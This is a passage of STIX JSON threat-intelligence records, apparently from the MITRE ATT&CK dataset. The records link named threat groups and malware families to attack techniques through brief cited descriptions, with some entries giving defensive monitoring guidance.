July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021."}],"modified":"2021-04-09T13:34:37.623Z","description":"[Doki](https://attack.mitre.org/software/S0600) has used a script that gathers information from a hardcoded list of IP addresses and uploads to an Ngrok URL.(Citation: Intezer Doki July 20)","relationship_type":"uses","source_ref":"malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4a05a2c8-9020-4421-9949-a4edf9de701a","created":"2023-03-13T13:42:24.583Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-13T13:42:24.583Z","description":"In environments using Exchange, monitor logs for the creation or modification of mail processing settings, such as transport rules.","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--438c967d-3996-4870-bfc2-3954752a1927","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4a0887ab-3ec3-436a-b378-6e28847dfb1e","created":"2017-05-31T21:33:27.049Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant No Easy Breach","description":"Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved September 12, 2024.","url":"https://www.slideshare.net/slideshow/no-easy-breach-derby-con-2016/66447908"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:24:32.314Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has used named and hijacked scheduled tasks to establish persistence.(Citation: Mandiant No Easy Breach)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4a09dc02-3ca0-4429-8afa-02362e18f76d","type":"relationship","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.847Z","description":"Monitor file access on removable media that may attempt to exfiltrate data via a physical medium, such as a removable drive.","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4a0c3e46-f94c-48b5-b094-a8f9437857fb","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018.","source_name":"McAfee Gold Dragon"}],"modified":"2020-04-21T23:09:31.029Z","description":"[RunningRAT](https://attack.mitre.org/software/S0253) uses a batch file to kill a security program task and then attempts to remove itself.(Citation: McAfee Gold Dragon)","relationship_type":"uses","source_ref":"malware--60d50676-459a-47dd-92e9-a827a9fe9c58","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4a0c829e-1590-407a-bc3f-64793050e039","created":"2024-08-07T20:29:50.983Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-09T18:51:55.134Z","description":"[CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) has the ability to enumerate directories for files that match a set list.(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"malware--542e3384-341a-455b-bb48-4917b25e3b00","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4a0cbe7f-e88c-4ef6-8bf7-9f6e17e8de04","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2020-03-16T19:05:10.295Z","description":"[Pupy](https://attack.mitre.org/software/S0192) can migrate into another process using reflective DLL injection.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4a0ee05d-f020-4811-bba6-56d12c15e275","created":"2020-03-18T18:01:36.710Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ClearSky MuddyWater Nov 2018","description":"ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.","url":"https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf"},{"source_name":"ClearSky MuddyWater June 2019","description":"ClearSky. (2019, June). Iranian APT group ‘MuddyWater’ Adds Exploits to Their Arsenal. Retrieved May 14, 2020.","url":"https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf"},{"source_name":"Securelist MuddyWater Oct 2018","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.","url":"https://securelist.com/muddywater/88059/"},{"source_name":"Talos MuddyWater Jan 2022","description":"Malhortra, A and Ventura, V. (2022, January 31). Iranian APT MuddyWater targets Turkish users via malicious PDFs, executables. Retrieved June 22, 2022.","url":"https://blog.talosintelligence.com/2022/01/iranian-apt-muddywater-targets-turkey.html"},{"source_name":"Trend Micro Muddy Water March 2021","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021.","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html"},{"source_name":"Reaqta MuddyWater November 2017","description":"Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020.","url":"https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/"},{"source_name":"FireEye MuddyWater Mar 2018","description":"Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html"},{"source_name":"Symantec MuddyWater Dec 2018","description":"Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group"},{"source_name":"MuddyWater TrendMicro June 2018","description":"Villanueva, M., Co, M. (2018, June 14). Another Potential MuddyWater Campaign uses Powershell-based PRB-Backdoor. Retrieved July 3, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/another-potential-muddywater-campaign-uses-powershell-based-prb-backdoor/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-28T19:34:31.102Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used VBScript files to execute its [POWERSTATS](https://attack.mitre.org/software/S0223) payload, as well as macros.(Citation: FireEye MuddyWater Mar 2018)(Citation: MuddyWater TrendMicro June 2018)(Citation: Securelist MuddyWater Oct 2018)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater Nov 2018)(Citation: ClearSky MuddyWater June 2019)(Citation: Reaqta MuddyWater November 2017)(Citation: Trend Micro Muddy Water March 2021)(Citation: Talos MuddyWater Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4a1336e8-9abb-4217-8a90-78ce55325aaa","type":"relationship","created":"2021-07-27T14:13:08.194Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybersecurity Advisory GRU Brute Force Campaign July 2021","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF","description":"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}],"modified":"2021-07-27T14:13:08.194Z","description":"(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4a1bfb6c-f110-4785-9dff-4c8e433bf04d","created":"2017-05-31T21:33:27.063Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"},{"source_name":"Profero APT27 December 2020","description":"Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021.","url":"https://web.archive.org/web/20210104144857/https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:05:38.080Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used a modified version of ASPXSpy called ASPXTool.(Citation: Dell TG-3390)(Citation: Profero APT27 December 2020)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"malware--56f46b17-8cfa-46c0-b501-dd52fef394e2","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4a339bd7-d356-44fb-9677-8f082af2fc11","created":"2021-01-07T20:40:41.535Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye NETWIRE March 2019","description":"Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021.","url":"https://www.mandiant.com/resources/blog/dissecting-netwire-phishing-campaigns-usage-process-hollowing"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-13T18:16:43.579Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) has used a custom obfuscation algorithm to hide strings including Registry keys, APIs, and DLL names.(Citation: FireEye NETWIRE March 2019)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4a33da76-c838-48fe-97ad-80d285cf165f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/quasar/QuasarRAT","description":"MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.","source_name":"GitHub QuasarRAT"},{"url":"https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/","description":"Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.","source_name":"Volexity Patchwork June 2018"}],"modified":"2019-06-24T19:05:41.485Z","description":"[QuasarRAT](https://attack.mitre.org/software/S0262) can download files to the victim’s machine and execute them.(Citation: GitHub QuasarRAT)(Citation: Volexity Patchwork June 2018)","relationship_type":"uses","source_ref":"tool--da04ac30-27da-4959-a67d-450ce47d9470","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4a34355b-dcbb-41a7-b562-167a76c93d9e","type":"relationship","created":"2021-09-09T13:53:16.372Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Oblique RAT March 2021","url":"https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html","description":"Malhotra, A. (2021, March 2). ObliqueRAT returns with new campaign using hijacked websites. Retrieved September 2, 2021."}],"modified":"2021-10-15T14:43:12.247Z","description":"[ObliqueRAT](https://attack.mitre.org/software/S0644) can gain persistence by a creating a shortcut in the infected user's Startup directory.(Citation: Talos Oblique RAT March 2021)","relationship_type":"uses","source_ref":"malware--5864e59f-eb4c-43ad-83b2-b5e4fae056c9","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4a358258-d616-4f15-aead-d4e6f6153aae","type":"relationship","created":"2020-12-22T18:36:12.313Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Molerats Dec 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."},{"source_name":"BleepingComputer Molerats Dec 2020","url":"https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/","description":"Ilascu, I. (2020, December 14). Hacking group’s new malware abuses Google and Facebook services. Retrieved December 28, 2020."}],"modified":"2020-12-28T21:34:37.877Z","description":"[DropBook](https://attack.mitre.org/software/S0547) can collect the names of all files and folders in the Program Files directories.(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020) ","relationship_type":"uses","source_ref":"malware--3ae6097d-d700-46c6-8b21-42fc0bcb48fa","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4a419b18-5fb2-43a0-8c0a-6521b8d9de63","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco H1N1 Part 2","description":"Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities – part 2. Retrieved September 26, 2016.","url":"http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2"}],"modified":"2020-03-20T02:27:41.213Z","description":"[H1N1](https://attack.mitre.org/software/S0132) kills and disables services by using cmd.exe.(Citation: Cisco H1N1 Part 2)","relationship_type":"uses","source_ref":"malware--f8dfbc54-b070-4224-b560-79aaa5f835bd","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4a42e063-e5c1-4408-9634-fe2fe8af76b5","created":"2022-09-30T20:43:16.038Z","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T20:43:16.038Z","description":"[S-Type](https://attack.mitre.org/software/S0085) can download additional files onto a compromised host.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4a4664c1-47dd-4a4a-ab7b-0f64ec137a67","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA459 April 2017","description":"Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts"},{"source_name":"Proofpoint ZeroT Feb 2017","description":"Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"}],"modified":"2020-03-17T02:54:39.781Z","description":"[ZeroT](https://attack.mitre.org/software/S0230) has used DLL side-loading to load malicious payloads.(Citation: Proofpoint TA459 April 2017)(Citation: Proofpoint ZeroT Feb 2017)","relationship_type":"uses","source_ref":"malware--4ab44516-ad75-4e43-a280-705dc0420e2f","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4a4a5d60-ec17-49a2-b651-ea8918410fc2","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf","description":"ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.","source_name":"ESET Sednit Part 1"},{"url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/","description":"Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.","source_name":"Unit 42 Sofacy Feb 2018"},{"url":"https://pan-unit42.github.io/playbook_viewer/","description":"Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.","source_name":"Unit 42 Playbook Dec 2017"}],"modified":"2020-03-20T16:40:41.314Z","description":"[JHUHUGIT](https://attack.mitre.org/software/S0044) variants have communicated with C2 servers over HTTP and HTTPS.(Citation: ESET Sednit Part 1)(Citation: Unit 42 Sofacy Feb 2018)(Citation: Unit 42 Playbook Dec 2017)","relationship_type":"uses","source_ref":"malware--8ae43c46-57ef-47d5-a77a-eebb35628db2","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4a4ff6a4-c6b1-4bb4-87f4-c28059c7dd39","created":"2022-06-02T13:33:07.971Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason PowerLess February 2022","description":"Cybereason Nocturnus. (2022, February 1). PowerLess Trojan: Iranian APT Phosphorus Adds New PowerShell Backdoor for Espionage. Retrieved June 1, 2022.","url":"https://www.cybereason.com/blog/research/powerless-trojan-iranian-apt-phosphorus-adds-new-powershell-backdoor-for-espionage"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-28T17:37:09.751Z","description":"[PowerLess](https://attack.mitre.org/software/S1012) has a browser info stealer module that can read Chrome and Edge browser database files.(Citation: Cybereason PowerLess February 2022)","relationship_type":"uses","source_ref":"malware--35ee9bf3-264b-4411-8a8f-b58cec8f35e4","target_ref":"attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4a50bbbf-990f-4556-86e2-2990bccc90e9","created":"2024-09-25T19:05:50.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro Ransomware Spotlight Play July 2023","description":"Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T19:09:42.646Z","description":"[Play](https://attack.mitre.org/groups/G1040) has used tools such as [AdFind](https://attack.mitre.org/software/S0552), [Nltest](https://attack.mitre.org/software/S0359), and [BloodHound](https://attack.mitre.org/software/S0521) to enumerate shares and hostnames on compromised networks.(Citation: Trend Micro Ransomware Spotlight Play July 2023)","relationship_type":"uses","source_ref":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4a50ca7d-1b68-4b11-85c5-55d6c38a2fc3","type":"relationship","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.868Z","description":"Monitor for network traffic originating from unknown/unexpected hardware devices. Local network traffic metadata (such as source MAC addressing) as well as usage of network management protocols such as DHCP may be helpful in identifying hardware.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4a51b16e-fd61-49b8-b711-4fe45b147647","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--457c7820-d331-465a-915e-42f85500ccc4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4a5b8515-18ee-45bb-a1e7-48ede93bf56a","type":"relationship","created":"2021-09-08T14:04:10.404Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Transparent Tribe August 2020","url":"https://securelist.com/transparent-tribe-part-1/98127/","description":"Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021."}],"modified":"2021-09-08T14:04:10.404Z","description":"[Crimson](https://attack.mitre.org/software/S0115) has the ability to determine the date and time on a compromised host.(Citation: Kaspersky Transparent Tribe August 2020)","relationship_type":"uses","source_ref":"malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4a5d8511-633c-4429-ac64-37a4815bf545","type":"relationship","created":"2020-06-11T16:18:16.779Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.657Z","description":"[Avenger](https://attack.mitre.org/software/S0473) has the ability to use [Tasklist](https://attack.mitre.org/software/S0057) to identify running processes.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--36ede314-7db4-4d09-b53d-81bbfbe5f6f8","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4a60552c-4abb-4310-be2c-191042ceb637","type":"relationship","created":"2020-11-09T21:54:38.795Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT BLINDINGCAN Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a","description":"US-CERT. (2020, August 19). MAR-10295134-1.v1 – North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020."}],"modified":"2020-11-09T21:54:38.795Z","description":"[BLINDINGCAN](https://attack.mitre.org/software/S0520) has been signed with code-signing certificates such as CodeRipper.(Citation: US-CERT 